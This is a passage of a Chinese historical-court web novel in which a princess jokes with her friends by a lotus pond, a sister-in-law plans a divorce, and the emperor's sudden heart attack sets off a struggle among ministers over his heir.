她如此平静,桓宜华似是松了一口气。她现在干瘦得都坚持不住一直这样抱着博儿,只好把孩子交给了下人。明绰看出了她这个小动作里的力竭,眼眶一下子就红了。
“你和仲宁……”桓宜华转过来想说什么,但又哽住了。桓宜华努力吸了一口气,又道,“那我先去……”
她还是没能把话说完,但是明绰用力握了握她的手。桓宜华便也微微用力,回握了一下她的手,然后笑了笑,转过身,跟着阴青蘅离开了。
袁綦微微侧脸目送她,其实很不希望阿嫂走开。他也有点儿不知道该怎么面对明绰。走的时候,明绰没说过还想不想要他回来,
“我……”袁綦斟酌着,鼓起勇气回过脸来。但他一个字还没说完,就感觉一团荷花香气扑进了他怀里。袁綦下意识地伸出手,接了个满怀才意识到,是明绰紧紧地抱住了他。他只是愣了很短的片刻,手臂便狠狠收紧,闭上眼睛,把脸埋进了她的颈窝里。
明绰又一次被迫在他怀中仰起脸,感到胸中的空气全都被他的手臂挤出来了。她还是不知道应该跟他说点儿什么,甚至怀疑自己就是为了逃避跟他说点儿什么才会这样扑进他怀里。可是这样也很好。她纵容自己暂时忘记了刚才想的所有问题,闭上眼睛深吸了一口气,闻到了归人身上还未褪去的风尘仆仆,在她鼻尖荡了荡,然后无声地落进了暮夏的一池荷花中。
第164章
清风拂过池中的层层叠盖的荷叶,偶有一两滴滚到叶上,凝成珠,随着风滚上一遭,又重新落回水中。
小舟把荷叶挤开,一双手伸出来,衣袖被捋到露出肩膀,沿着花枝用力拽了几下。莲藕埋在淤泥里,纹丝不动。那双手的主人拔得越用力,小舟就跟着她的力道在水上越晃。
桓宜华在水榭里看得胆战心惊:“小心点儿!”
明绰抬起头朝她一笑。她头上还戴着一顶斗笠,把发髻压散了,垂下来,头发落了满肩,她嫌麻烦,用湿淋淋的手捋了一把。撑船的婢女十分殷勤,想来给长公主整理头发,可她一动,小舟就危险地晃起来,吓得桓宜华又惊叫起来。
“你别叫啦!”明绰朝她喊,“吓死我了!”
桓宜
华:“你吓死我了!”
明绰懒得理她,继续拽着那根花枝努力。但用了两把力,只是把好好一支荷花给掐断了,藕也没拔|出来。明绰看了一眼,把荷花扔到了脚边,整个人卧到小舟上,半个身子探出去,又找了一枝。
敬漪澜跟着引路的婢女走过来,还没看清水上的人是谁,就听见明绰和桓宜华两个人大呼小叫的。水榭中间一张席面,摆了冰着的蜜饮和酥酪,还有几碟糕点,熏着香赶蚊子,但也没人去坐,都围在水边,看着长公主在船上。
敬漪澜也停在另一边岸上,看了一会儿才看出来明绰这是在干嘛。
“你要拔藕啊?”
明绰听见她的声音,从船上转过身来,高高兴兴地朝她招手:“漪澜,吃不吃藕粉羹?”
敬漪澜一下子笑出了声,藕埋在淤泥里,得人下去挖才挖得出,她就没见过谁是坐在船上这样生拔的。她笑成这样,明绰也不明所以,就扶了扶斗笠,看看她,再回头看看桓宜华。桓宜华也不知道她在笑什么,敬漪澜赶紧朝那撑船的婢女招手,让她把船撑过来。
那婢女依言,撑了两下,小舟就靠了岸。敬漪澜把手伸出来扶了一把,明绰便轻快地跳到了岸上。藕是一个没拔着,荷花倒是掐了好几支,她捧在手里,献宝似的,正好给敬漪澜了。
敬漪澜笑得更厉害。明绰把斗笠摘下来,一边假装问婢女:“这人痴了不成?”
“你才痴了。”敬漪澜捧着荷花,一边笑一边往水榭里走,“真是要命,偌大一个公主府,没人知道怎么采藕!”
明绰“啊?”了一声,跟在她身后沿着回廊走。阴青蘅已经迎了上来,朝敬漪澜屈膝为礼。其实如今她们俩的品秩是一样的,但阴青蘅仍当她是夫人一般行礼,一边掩唇笑道:“夫人冤枉人,我说了这么着不行,长公主不信,非要亲自去拔呢。”
一群女子笑得更欢,明绰让她们笑得脸上微红,“哼”了一声,去亭中坐下了。两个婢女忙跟上去,一左一右地给她解开襻膊。敬漪澜跟桓宜华对视了一眼,跟着她坐了下来。明绰顺势就往敬漪澜身上一靠,拖长了声音撒娇:“我不管,我要吃藕粉羹。”
“你这一池荷花开得好好的,现在就把藕采出来,多可惜啊?”敬漪澜脸上仍带着笑,“让人去买些来做就是了。”
明绰就不说话,琢磨了好一会儿。她也不是真的想吃藕粉羹,就是觉得好玩儿。真要去买来藕再做,就没那么稀罕了。就腻在敬漪澜身上,哼哼唧唧的。敬漪澜让她磨得哭笑不得:“怎么这样会缠人?”
桓宜华就给了她一个眼神,笑道:“自从二郎回来了,她可娇得人受不了。”
敬漪澜拖长了声音“哦”了一声,恍然大悟似的。明绰一下子坐直了,刚要骂两句,又看了看坐在母亲身边,睁着眼睛一脸好奇的袁博,硬是把话又咽回去了,一脸憋得好笑的诡异神情。
偏偏敬漪澜还作势打量了她的脸,认真道:“气色是好啊。”
明绰顺手就往她腰上拧了一记,两人笑作一团。袁博听不懂她们的哑谜,抬头想问,被桓宜华抓起一块糕点就塞嘴里了。
“你们别在这儿打趣我,我又不是新媳妇。”明绰把头发挽起来,一边发狠似的,“一会儿韶音来了,看我怎么臊她!”
平阳王妃前几日刚刚过了门,今日是回门礼。嫁进了皇家,这礼数庄重得不得了,袁家所有人都得出席,连袁綦都大清早就回去了。但是桓宜华就是不肯赏这个脸,那明绰自然也不去,就等着正礼行完了,再让平阳王带着新妇来见姑母。
敬漪澜马上护着:“那不行!你多吃点藕粉羹,少说两句!”
桓宜华这个做亲娘的反而不说话,只是笑个不停。她原本有很多的顾忌,但是敬漪澜跟着儿子出了宫以后,这公主府也是常来常往,她们相处得多了,也很是投契,桓宜华就放心多了。
明绰把嘴一撇:“好啊,以后你们俩是一家了,联起手来欺负我了!”
敬漪澜便“嗯嗯”的,有意把她撇到一边,只跟桓宜华说话。明绰“啊”地叫了一声,又往她身上腻。袁博见她们笑得开心,也咧开嘴跟着笑,站起来绕过矮几,挨到了明绰身边。明绰把孩子一抱,亲亲热热地捏了捏他的脸。
桓宜华看着她逗孩子,突然道:“我把博儿过继给你和二郎好不好?”
明绰捏着孩子脸的手一僵,因为意外,睁大了眼睛,一句话都没说。
她现在不提那个孩子,袁綦想跟她谈一谈,但是明绰不想说。她觉得没什么好说的,袁綦也不是不知道孩子是怎么没的。谢星娥现在被囚禁于栖凤宫,根本见不到她的两个孩子。还能说什么呢?没了就是没了。
明绰出了小月以后,足足三个多月才重新来的月信。罗太医还是给她看着脉,明绰从来不肯问,以后还能不能怀上了,尽管她知道几乎所有人心里都在想这个问题。那个孩子在的时候,她满心的期待与爱意,她甚至觉得,那个孩子能替代晔儿。后来她想,可能这也是为什么那个孩子不愿意出生吧,没有谁愿意做兄长的替代。所以她不接受“再怀一个就好了”这样的话,不会好的。
明绰的眼神微微黯了黯,轻声道:“宜华姐姐……”
桓宜华似是知道她在想什么,越过桌案轻轻地抓住了明绰的手,安抚地拍了拍:“我不是可怜你,也不是一定要二郎有个后,是请你们帮我。”
明绰微怔,下意识地看了看敬漪澜。敬漪澜脸上也有一丝无措,好像不确定自己是不是应该在这儿听,但是桓宜华也不把她当外人了。这事儿显然已经在她心里盘算了很久,博儿听到“过继”两个字也没有什么反应,明绰意识到,她可能都已经跟儿子解释过了。
“现在韶音已经出嫁了,我心里也就定了一半。”桓宜华每个字都说得很慎重,“我不想让博儿在那个家里长大,也不想再为了争抢这个孩子跟他们再纠缠不清。”
明绰又眨了两下眼睛,终于听明白了,一下子反握住了桓宜华的手:“你还是要和离?”
桓宜华都笑了:“什么话,我当然是要和离的!”
明绰猛地直起了腰,整个人越过了桌案要去抱她,桓宜华被她扑得哭笑不得,明绰已经出了哭腔:“我还以为你又认了……”
“我认什么呀?”桓宜华安抚似的拍了拍她的肩,“我要认了,今天
女儿回门我岂会不露脸?我呀,是决计不会再做他袁家的人了!”
明绰不甘极了:“那你跟我说那种话?”
敬漪澜把桌上的果碟什么的都推了推,免得被她带翻,一面帮了句腔:“长公主太咄咄逼人了,宜华不那么说,你岂肯罢手?”
“我怎么就……?”
“我总是要顾忌父母和韶音的。”桓宜华声音弱了一些,“你骂得也没错,我就是瞻前顾后,太软弱了,才让他们拿捏了二十年……”
明绰忙道:“都是我胡说八道,你怎么还往心里记啊?”
桓宜华摆了摆手,意思是她没往心里去。
“二郎没回来,我也没人帮衬,当时真的不知道该怎么办。”她朝明绰摇了摇头,苦笑了一声,袁家没把她们这样的媳妇当自己家人,就算是长公主,也比不上袁綦在那个家里说话有分量。明绰只能用皇权来压,但是后果她们都看见了。
但是现在袁綦回来了,他肯帮着阿嫂,桓宜华就有周旋的余地了。
“韶音已经出嫁,再把博儿过继给你们,他们就拿不住我了。”桓宜华昂起了下巴,“我也不指望娘家,这些年我早看清楚了。好歹我还是陛下亲封的清河君夫人,我就是出去,自立门户,他们能把我怎么样?”
敬漪澜笑了笑,只道:“哪就要逼到自立门户了,平阳王府你也来得。”
明绰听出她漏了一个人,斟酌了一番,还是没忍住轻声问:“那识儿呢?”
桓宜华没答,紧紧抿着唇,好一会儿,还是只有一声苦笑。
她就没有打算过跟丈夫争抢袁识。袁识是长子,本来她就带不走,更何况那孩子也大了,已经被教成了他们想要那种“袁家儿郎”,不会站在母亲这一头的。
明绰听懂了她这一声苦笑,绕到了她身边,把头跟她挨着。桓宜华也没哭,她的眼泪早就袁家流干了。她只是轻轻地拍了拍明绰的手,和她交换了一个理解的笑意。好像直到这一步,她才终于明白了明绰从洛阳回来的时候那份心情。
敬漪澜看着她们俩这样挨着,有些好笑似的,又把明绰刚才的话拿出来说:“我看你们俩才是一家,哪有我什么事儿啊?”
桓宜华跟她开玩笑:“谁叫你生的儿子最懂事最?”
敬漪澜一下子睁大了眼睛,还没开口,明绰就赶紧说了句公道话:“她也不是就秧儿一个儿子……”
那宋询,老大不小了,高不成低不就的,耽搁到了今日也没婚配。只因建康的世家最重门第,没人看得上什么丰喜县侯。平阳王出宫建了府,他腆着脸就上门了,张口就要母亲和弟弟想办法给他配个世家贵女。
这事儿太丢人了,除了明绰,敬漪澜谁也没告诉。
桓宜华茫然地睁着眼睛,不知道明绰是指什么。但是袁韶音已经过了门,想来过不了多久,也得传进她耳朵里。敬漪澜只好叹了口气,自己跟她说了。
桓宜华一听就气笑了:“岂有此理?谁欠他的了?”
敬漪澜也很无奈。若说亏欠,她自然也是觉得亏欠的,要她完全不管,她哪里狠得下这个心。可若是真依了宋询的心意,借着平阳王的面子来给他找贵女婚配,岂不是害了秧儿?
她也没想到,在宫里的时候想了儿子十几年,现在居然见到他就头疼。
但是明绰和桓宜华也没什么好办法,三个女人你看看我,我看看你,竟都没忍住笑了。而且越笑越停不下来,明绰整个人都坐不住了,歪到了桓宜华身上,刚刚松垮挽起来的头发又散了下来,桓宜华有一搭没一搭地给她捋。袁博想吃花蜜饮,不见外地拉敬漪澜的裙角,管她也叫“婶娘”,吓得桓宜华赶紧倾过身来捂他的嘴,让他不能乱叫。
那几支被掐断的荷花就这么随意地摆在桌上,有的正开得盛,有的还只是个花苞,荷香缠着案上的熏香,袅袅地升起来。
第一个意识到时间已经不早了的是敬漪澜。看看日头,袁府那边的回门礼应该已经结束了,秧儿应该随时会带着韶音过来。她便推了推明绰,让她重新去梳个头。但是等明绰梳洗好了出来,他们也没有等到人。明绰便派人去出去问问,平阳王到哪儿了。
公主府的下人前脚才出去,后脚就进来了宫里的人。跑得气喘吁吁,到明绰跟前就跪下了。
“长公主!”那眼熟的小黄门慌慌张张地扶正自己的帽子,满脸都是热汗,“长公主快进宫吧!陛下……陛下不好了!”
第165章
“内贵人。”
任之浑身一僵,定在原地不敢往前。桓廊疾走数步,从背后绕到他面前,皮笑肉不笑地问了一句:“内贵人要去哪里?”
任之干笑:“奴婢奉陛下的旨意,去召长公主。”
桓廊往前一步,仍是笑着,但极具威压,生生把任之逼得退了一步:“陛下的旨意?我怎么没听见?”
任之努力克制往后退的冲动,挺直了背:“令君来之前,陛下就……”
“我来之前,陛下不是已经犯了旧疾,不省人事了吗?”桓廊打断他,“何来下旨召见长公主一说?”
任之明白了他的意思,额上渐渐见了汗,一时不知道该如何应对。桓廊和他说两句话的功夫,袁增也察觉到了这边的动静,踱了过来。在他身后,还站着王勤和陈缙,袁煦兄弟,以及另外两位台阁的重臣。执金吾卫中尉崔挺一身金甲,带着刀侯在殿中,而一层罗帐以内,跪在陛下床前的,就是平阳王和尚且年幼的三皇子。
长子娶亲,陛下这两日的心情一直都很好,旧疾发得全无预兆。也就是一个多时辰以前,突然开始胸口绞痛,痛得来势汹汹。任之刚要去叫太医,陛下就拉住了他,脸色煞白地报出了几个重臣的名字,让他速速派人,去把他们召进宫。
这些都是大雍的肱股之臣,里面有四个,是陛下早就在心里盘算定了的辅政大臣。如果不是陛下自己觉得这次胸痛得不对了,不会突然把他们都召进宫的。
平阳王跟大将军是同时到的,三皇子当时早已被抱到了陛下病榻前。太医令虽然已经给陛下施了针,推了穴,但这次真的不一样,陛下还是面如金纸,冷汗直下。他其实还没有像桓廊说的那样“不省人事”,只是完全说不出话。这期间,他一直焦躁地转过脸往外看,任之知道,他在等长公主。
他明明第一个派人去公主府的,为什么所有人都到了,长公主还没到?
任之强自定住心神,没跟桓廊硬来,软着又说了一句:“长公主是陛下唯一的妹妹,若陛下今日当真……长公主也得在,令君说,是不是这个理?”
他态度坚决,桓廊就也不跟他笑了:“你胡说什么?胆敢咒诅君上!”
任之咬了咬牙,明知他是在强词夺理,也只能退了一步:“奴婢不敢。”
桓廊不肯相让,又逼了一步,只道:“前朝事不远,内贵人可当心着点儿!”
任之牙关紧得下颌绷出一道线,又终究什么都没说。前梁出过宦官乱政之祸,自东渡之后,便一绝此风。像他这样贴身服侍天子的,撑死了也就是被人面上尊一句“内贵人”,绝无可能掌握半点实权。
前梁时候,朝臣极为忌惮,甚至有宦官给天子殉葬的规矩,还是到了萧氏一朝,才因“不仁”而废去。但历代的宦官,只要主子一死,几乎都没有什么好下场。尚书令和大将军在这里,要捏死他,真是如捏死一只蚂蚁一般。
任之低着头,并不言语。袁綦似是也想过来问问怎么回事,但是被兄长拉住了手臂。桓廊居高临下地瞪了任之一会儿,还是袁增扯了他一把,让他快进去:“陛下好像醒了!”
桓廊马上不再理会任之,转身进了内殿。任之还停在原地,踌躇了一会儿,突然坠下了一行
眼泪。
他伺候了陛下三十年,陛下一走,他横竖都是要死的。那也不能看着陛下这么孤零零的,连个亲人都没有就上路。
任之朝殿中侍立的小黄门使了个眼色。那还是个不过十来岁的孩子,像尊摆设似的杵在殿中,谁都没有在意他。他感觉到了任之递过来的眼神,先是有一瞬间的慌乱,然后明白了什么似的,点了点头。
任之马上横下一条心,突然往外闯。桓廊这才反应过来,喝了一声:“还不拦住他!崔中尉!”
崔挺皱了皱眉,他直属陛下,不受尚书令的命,更何况是去拦陛下贴身的内贵人。但是桓廊这么一叫,袁增也帮了句腔,旁人虽不明所以,也都跟着叫起来。崔挺还在犹豫,任之已经快冲到阶下了。那么多人七嘴八舌地叫着“崔中尉”,崔挺只好先抬了抬手,示意守在阶下的两个执金吾卫把人扣住。任之几乎没有反抗,就这么被摁着,垂着头,又被押了回来。
桓廊怒气冲冲地要骂:“你这……!”
崔挺往前一拦,只道:“令君,一会儿再说吧。”
他往内殿里使了个眼色,桓廊会意,一甩袖子,重新进去了。崔挺还是守在外殿,皱着眉头,看了看任之,然后让执金吾卫先放开了任之。
“内贵人,”崔挺十分客气,“得罪了。事态非常,还请内贵人不要随意走动。”
任之冷笑了一声,眼睛却往旁边瞟了瞟,方才还站着人的角落已经空了。他唇边的笑意更深,一句话都没说。崔挺莫名其妙地看着他唇边那抹笑,不安地抚了抚自己的剑柄,最终决定不再理会他,也跟了进去。
萧盈听到了外面的动静,但他不明白是怎么回事。好像有千斤的重担压在他的胸口,他无法呼吸,只觉得胸腔随时要被压得炸开了。连带着肩膀、背部,甚至下半张脸都跟着痛,每一次呼吸都是酷刑。
卞弘刚才在他舌下硬塞了一颗药丸,他不知道那是什么,但气味浓烈,让他想吐。但也许真的有用吧,他终于挣扎着说出了几个字,现在所有人都围到了他床前,等着他继续往下说。
萧盈喘了两口气,艰难地睁开眼睛,想从一片一片的重影里辨别清楚每个人。冷汗太多,眉毛已经拦不住,落进眼睛里,灼痛他的视线。他只能听声音辨别出来桓廊,于是他一把抓住了桓廊的手腕。
“臣在!”桓廊半跪下来,“陛下,你说,臣听着!”
“你……”萧盈顿了顿,又抬起右手,去抓袁增,“大将军……”
袁增也跪下:“臣在!”
萧盈没理会,他没体力说别的了:“还有陈缙、王勤,四人勠力同心,辅……辅佐嗣主……”
被点到名字的都纷纷下跪,桓廊泪落了满脸,但一句场面话也来不及说,只是很着急地追问一句:“陛下,嗣主何人?”
萧盈没说话,手臂无力地垂了下来,又喘了两口气。桓廊以为他是没力气了,赶紧把萧秧和萧稷都推到了他面前:“陛下不必多言,指一指就好了!”
萧盈抬起眼皮,看了一眼他的两个儿子,还是没动。
他就是不知道应该指谁,辅政大臣已经在他心中盘算多日,选每个人都有每个人的理由。他也知道明绰说得对,如今桓氏已经独大,所以他安排了陈缙和王勤。陈缙刚直勇烈,王勤实干谨慎,且王家与崔家还有姻亲,崔挺手里还有执金吾卫……至少,能牵制桓廊一二。
唯独这个最重要的人选,他始终拿不定主意。他非常清楚,若没有一个足够分量的天子在上面压着,这些互相牵制的安排根本就没有用。可是谁能压住?
萧稷已经吓哭了,他其实根本不明白发生了什么,只是被这样的氛围吓得不住嚎哭。萧秧没有哭,他知道这意味着什么,可压力太大了,他承受不住,脸色竟不比萧盈好到哪里去,跪在那里,身体不住地前后摇晃,双唇翕动,不知道在念什么。
萧盈的手臂无力地举起来,颤颤巍巍地,似是要落到稷儿头顶。
为什么还是这样?萧盈心中升起了巨大的无力和绝望,真的不能再给他多一点点时间了吗?至少,再给他一点时间让稷儿再长大一点呢?萧盈和这种绝望缠斗了一生,咬着牙抓握来的所有掌控,就这样被轻而易举地击溃了。他看着哭闹不休的稷儿,好像看见了过去的自己,他本该毫无印象的那个自己。也是这样,被抱到皇位上,然后被控制,被囚禁,被谢郯以野心和期许包裹,被谢拂霜以毒药和冷漠喂养。
这孩子身上还是流着谢氏的血。他该让谢郯如愿吗?
萧盈的手臂重新坠落下来,无力地要往下倒。袁增突然往前一步,看起来是要扶住他,其实抓住了他的手,突然指向了萧秧:“陛下,是平阳王吗?是不是平阳王!”
袁綦急道:“父亲!”
陈缙也同时在喊:“大将军,你这是……!”
卞弘正阻止:“大将军快放开陛下!”
几个声音一起响起来,萧盈一个都没听清,只看到袁增的脸一下子挨得无比近,像一头狼,在暗夜中露出莹绿的眼和森然的牙。萧盈不知道哪来的一股力气,用力地挣开了袁增的钳制,然后一句话也说不出来,狼狈地摔到床上,气喘不休。
谢郯在唤他,一会儿又变成谢拂霜的,他们都在唤他,好像他还是个孩子。
“盈儿……”他们的声音怎么会这样温柔,他好想跟着他们走。
卞弘努力想拨开众人近前来,但是所有人都围着萧盈,他越是看起来气若游丝,他们就越是着急从他嘴里听到一句准话。
平阳王先天不足,三皇子年幼无知,选谁都一样,这个江山已经落在他们手里了,可是他们必须得到那句名正言顺地话,才能真正“同心戮力”。否则这个选平阳王,那个选三皇子,本该互相牵制的四位辅政大臣,转眼就会各自为政,杀得血流成河。
到底选谁?越来越多豺狼的眼睛在黑夜里亮起来,盯着萧盈,一遍一遍地追问,陛下,快选啊!
萧盈完全喘不上气了。卞弘扬着嗓子,已经出了哭腔:“不要逼他!你们不要逼他——”
陛下现在最忌讳的就是情绪激动,他们到底在干什么啊!
一个声音就在这个时候突然从殿外传进来:“都给我让开!”
所有人都同时转过了脸,明绰大步走了进来,身边还跟着任之和那个跑得满面赤红的小黄门。重臣们都有一瞬间的怔愣,还没反应过来,明绰已经朝卞弘使了个眼色。他一下子有了底气,毫不客气地把桓廊推开,重新坐到了萧盈床边,搭住了他的脉。
萧盈又说不出话了,但他还有意识,抬着眼皮,看到了明绰。明绰被他看了这么一眼,就觉得脚下好像裂开了一条大缝,她整个人都在往里面坠,什么都抓不住,什么都阻止不了。她以为她早就接受了皇兄这一天,甚至已经预演过了无数次,但是真到了这一眼,她还是觉得自己的呼吸都被带走了。
可是现在根本还不是崩溃的时候。明绰咬了咬牙,在床边围着的人里看定了最熟悉的一张脸。
“安西侯!”
袁綦一震,下意识应道:“臣在!”
“把诸位大人都送出去。”明绰没好气地拨开了还在发抖的萧秧,也坐到了萧盈床边。萧盈的视线还跟着她动,脸上分不清是冷汗还是眼泪,他还是说不出话,但是他伸出了手,一把抓住了妹妹的手。明绰不得不咬住了自己的舌头控制眼泪。
桓廊马上提出了反对,但是袁綦往前站了一步,拦在了明绰身前,客客气气地对他说了一句:“令君先出去吧。”
“事态非常,若是陛下……”
“还没到非不得已的时候!”明绰狠狠地打断了他,抬头看定了他,“桓大人在这里干扰太医令施救,到底是何居心!”
“我……”
“这种事情谁也说不准!”袁增突然开了口,袁綦还是不敢拦他,只是皱着眉头,为难地比划了一个手势。但袁增完全不理会儿子,只道,“陛下还未指定太子,长公主就要我们都出去,臣倒要问问,长公主是何居心?”
桓廊马上道:“我们才是陛下钦定的辅政大臣,你一介女流,有什么资格——”
他话还没说完,明绰已经不耐烦了:“崔中尉何在!”
崔挺立刻往前一步:“臣在!”
“把人都给我带出去,看在殿外,若有一个人敢闯进来,按谋反罪论!”
崔挺只愣了很短的片刻,就作出了选择。执金吾卫只听天家号令,自谢郯之后,与朝臣勾连是大忌。眼下天子病重,比起桓廊,长公主无疑才是那个“天家”。
更何况,陛下还没失去意识呢。他还紧紧地握着长公主的手,朝崔挺看了一眼过来。
“末将领命!”崔挺“唰”地一声从腰间抽|出了佩剑,这些个手无寸铁的大臣们瞬间都噤了声。只有袁增是武将,脸色难看,还想反抗。但是他还没说什么,已经被袁綦摁住了。连袁煦都摇了摇头,不愿父亲再逼陛下。袁增似是无奈,铁青着脸“哼”了一声,终于带头走了出去。
哭闹不休的萧稷也被人抱走了。袁韶音终于获准进了含清宫,已在殿外等候,一看到萧秧出来,就冲上来紧紧握住了萧秧的手。几个身穿金甲的侍卫依令守在陛下的寝殿
前面,方寸之地已经站满了人,但却没有一个人敢说话。
卞弘已经在萧盈的手上下了针,一边轻声提了一句:“长公主,膻中——”
他不需要说任何多余的字,明绰已经知道该怎么处理。她立刻解开萧盈的衣物,探到他胸前正中,指尖用力按压。随着急促的呼吸,指下的心跳与胸骨一同微颤。她还摸得到萧盈的心跳,她明明都亲手摸到了。
“不许死,听见没有?”明绰的声音很轻,近乎蛮不讲理,“我不许!”
她每说一个字,手上就摁下去。呼吸间带来无尽的灼痛,但是萧盈还是非常努力地每一口都用力往里吸。他本来已经伏在地上,准备听天由命地任豺狼撕咬,可是豺狼扑上来之前,她赶到了。明明上一次还是头也不回地从这里走了出去,明明连加封她昭武公主她都只是冷着脸,恩都没谢。明明不肯原谅,明明这样生他的气……
“别把我丢给这些人处置……”明绰还在不知疲倦地摁压他的穴位,一边说,眼泪一边坠下来,滴在他已经被揉得发红的胸口,“定好辅政大臣就是安排好后事了?我呢!你都没有想过我就准备去死?什么昭武公主,有什么用?是你把我害到今日的地步,你不许丢下我,你不许……”
“燕奴!”他又听见一个声音,然后是凄厉的风声,好像她在风中坠落。但是不应该啊,他亲眼看着她从城墙坠落,一点儿声音都没有发出来。为什么他此刻却听到了她的尖叫,这么多年,连他的梦境都不肯来的母亲。
“燕奴,不要过来!”
那股重压突然从萧盈胸中抬了起来,他像是溺水的人一下子透出了水面,终于顺畅地吸进了几口气。胸口仍旧闷痛,但好像紧紧抓住他心脏的那只手终于松了。
明绰察觉到了什么,终于停止了摁压,但她的手指还留在萧盈胸口,颤抖着,连着肩膀,然后整个人伏到了他胸口,泣不成声。
萧盈轻轻地搭住了明绰的肩膀,掌心终于有了一丝温度,但手腕上还扎着针,随着他的动作危险地颤动着。卞弘胆战心惊地给他起了针,听见萧盈终于吐出了一句连贯的话。
“没事了,”他说,“今天还不死。”
第166章
萧盈说完了这句话,便又重新因为乏力而陷入沉默。卞弘示意明绰让一让,在他胸口几处分别用力点了点,问陛下是否还是锐痛,他也只是没什么声音地摇了摇头。
明绰直到看见卞弘松了口气的样子,才整个人都泄了劲,下意识地用手捂住了嘴,没让自己哭出声音。
从听到那小黄门的话开始到现在,明绰身上就没有一处不是紧着的,这会儿突然泄力,只觉得腿软,坐在萧盈床边不住地喘气,一颗心砰砰地跳,好像她也经历了这么一遭生死关头。
卞弘顺手扶了她一把,只道:“长公主……”
他本是想说什么的,但又没说出来,明绰知道他的感慨,说不出话,只是握住了他的手。
卞弘也老了,守了萧盈这么多年,早已须发皆白,满脸的皱纹,手却仍是温暖而有力的。长公主这样握他的手,他只是愣了愣,便大逆不道地回握了去,彼此安慰似的,晃了晃。
又闯过去一次,有惊无险。
“卞大人,”明绰虚弱地笑了笑,“我要给你造一座庙,让你受香火供奉。”
萧盈听见了,跟着露出了一个笑容。卞弘的胡须颤了颤,不知道他们兄妹是忘记了,还是不愿提起,最开始迫于谢太后的令给陛下下毒的人也是他。但他终究什么都没说,飞快地抬起手抹了抹眼睛,躬身道:“陛下,长公主,臣去熬药。”
明绰点了点头,又道:“跟他们说,陛下无事了,需要静养,让他们都回去吧。”
这话既是交代卞弘的,也是交代任之的。任之看了一眼倒在床上的人,还是决定转向长公主,问出了他预判外面朝臣们会追问的问题:“那平阳王和三皇子……?”
“都回去。”明绰答得毫不犹豫,“谁也不许来。让执金吾卫别撤,继续守着!”
任之心中立刻定了,干脆地应了一声便出去传令。卞弘也跟在他身后走了出去。殿外果然马上传来了很多个声音一起开始说话的声音,有人不可置信,有人欣然放心,然后就是要求见陛下,借着便是崔挺把人拦下的声音——这个过程闹哄哄地重复了一会儿。明绰留了个神听着,一边熟练地把枕头垫高,将萧盈扶成半卧半坐的姿势,每次胸痛之后,他这样能舒服一点儿。
萧盈看着她,很轻地唤:“溦溦。”
明绰回过神:“嗯?”
“我以为你不肯来。”
明绰就跟没听见这句话似的,还在留神听外面的动静。人已经走得差不多了,她这才笑了一声,对萧盈说:“有些人今晚要睡不着觉了。”
萧盈勉强地牵了牵嘴角,捧场地露出一个笑。
“皇兄
,我要杀一个人。”明绰说得很平淡,好像只是问皇兄多要一颗蜜饯,“含清宫里有人敢欺上瞒下,听尚书令的话,没去给我报信。”
这就算是她回答萧盈那句“以为你不肯来”了。萧盈微微地阖上眼,放松下来,“嗯”了一声,毫无异议。
明绰看了他好一会儿,又轻声道:“这只是你试探他们的手段,对不对?”
萧盈睁开了眼睛,看着她。天知道他有多么想回答是,却只能更勉强地牵了牵嘴角,露出了苦笑。
鬼门关走一遭的惊险还在其次,更让萧盈心惊的是发病的突然。他没有悲喜嗔怒,甚至也没有过分劳累,这就是很平常的一天,他也只是很平常地做着自己的事,而他的心脏突然违背了他的意志,决定不干了,于是他就被彻底击垮。
到这个地步,真的还有能够避免发作的办法吗?他的命运是不是从此刻开始,就已经彻底被推向了未知?他到底还能怎么活着?还是说,要为了这样活下去,最好什么也别做?
“卞弘说,我能活到四十岁。”萧盈看着她的眼睛,像是承诺她什么,“我今年才三十五……”
“三十七。”明绰戳穿他,同时突然想到,乌兰徵就是死在了这个年纪。
而且卞弘说的也不是活到四十,是可能活不到四十。但明绰实在不忍心再把这句话说出来。
萧盈笑了笑,好像看她一眼就知道她在想什么似的,轻声道:“我争取比乌兰徵命长。”
要是往日里,明绰肯定又要为了这句话跟他生气,但她现在只希望萧盈说到做到。她垂下头,握住了萧盈垂在身侧的手,突然道:“皇兄,不要再操劳了。”
萧盈下意识地张开嘴,似是想辩解。但是明绰没有给他这个机会:“朝廷上下有序,各司其职,不是非要你事必躬亲的。”
萧盈沉默了好一阵,末了,终于点了点头。
从那一天起,陛下就再也没有上过太极殿了。
真如明绰所说,平常瞧着萧盈是看也看不完的公文,拿也拿不完的主意,真到撂挑子说干不了了的时候,天也没塌下来。偌大一个国家,还是按照着定下的规章制度在如常运行。
就是这份如常里多少还是带了几分风雨欲来的压抑。几位辅政大臣自知在陛下面前露出了不堪的面目,好像都有些惭愧尴尬。但陛下也是第一次在他们面前露出了濒死的狼狈无力,他多年积威到底还剩下多少,不好说了。
君臣之间微妙的平衡被骤然打破,谁都不确定下一步怎么走,又是谁先走。
大朝会免了一次,无人开口,免了第二次,就有人想,也许只是回光返照,陛下还是不行了。等免了第三次,事情就已经过去半个多月了,含清宫里还是没传出国丧的消息,听说陛下身子好多了,可这大朝会瞧着是不会再开。陈缙就没忍住上书,请陛下为国本计,早立太子。
御史中丞还算得上是一心为公,所以萧盈也只是当作没看见,反而微服出宫,去了公主府。
他到的时候已经不算早了,但出来见人的是袁綦,说长公主还睡着。萧盈听见这句就恍然地“哦”了一声,把要去叫人的阴青蘅叫住了。
“她这几日都没睡好,”萧盈轻声道,“让她再睡一会儿吧,朕等着就是。”
阴青蘅飞快地看了袁綦一眼,神色有些惴惴地应了一句“是”,又赶紧低下头去给陛下奉茶。萧盈倒是面色如常,招呼了袁綦一句:“仲宁陪朕坐一会儿吧。”
袁綦躬身行了一礼,才到萧盈对面跪坐下来。阴青蘅也帮他斟上了一杯清茶,但袁綦没喝。
萧盈:“溦溦十几天都没回来,你别介意。”
袁綦闻言困惑地抬起了头,他压根没往这块想。陛下和长公主感情好他从小就知道,含清宫那天是个什么情形他也是亲眼所见。所以明绰后来一直留在含清宫侍疾,既是全兄妹亲情,也是为了守卫陛下,他哪会在这事儿上小气?
但不知道为什么,萧盈这样一说,他就觉得背后生了刺似的,浑身都不自在起来。
陛下刚才说了一句什么?“她这几日都没睡好”?
“臣……”袁綦犹豫了一下,“臣应该介意什么……?”
萧盈笑了笑,只道:“侍疾辛苦,怕你心疼她,心里埋怨朕。”
袁綦下意识地耸了耸肩,似是想把那层不适甩脱,嘴里心不在焉地回了一句:“臣不敢。”
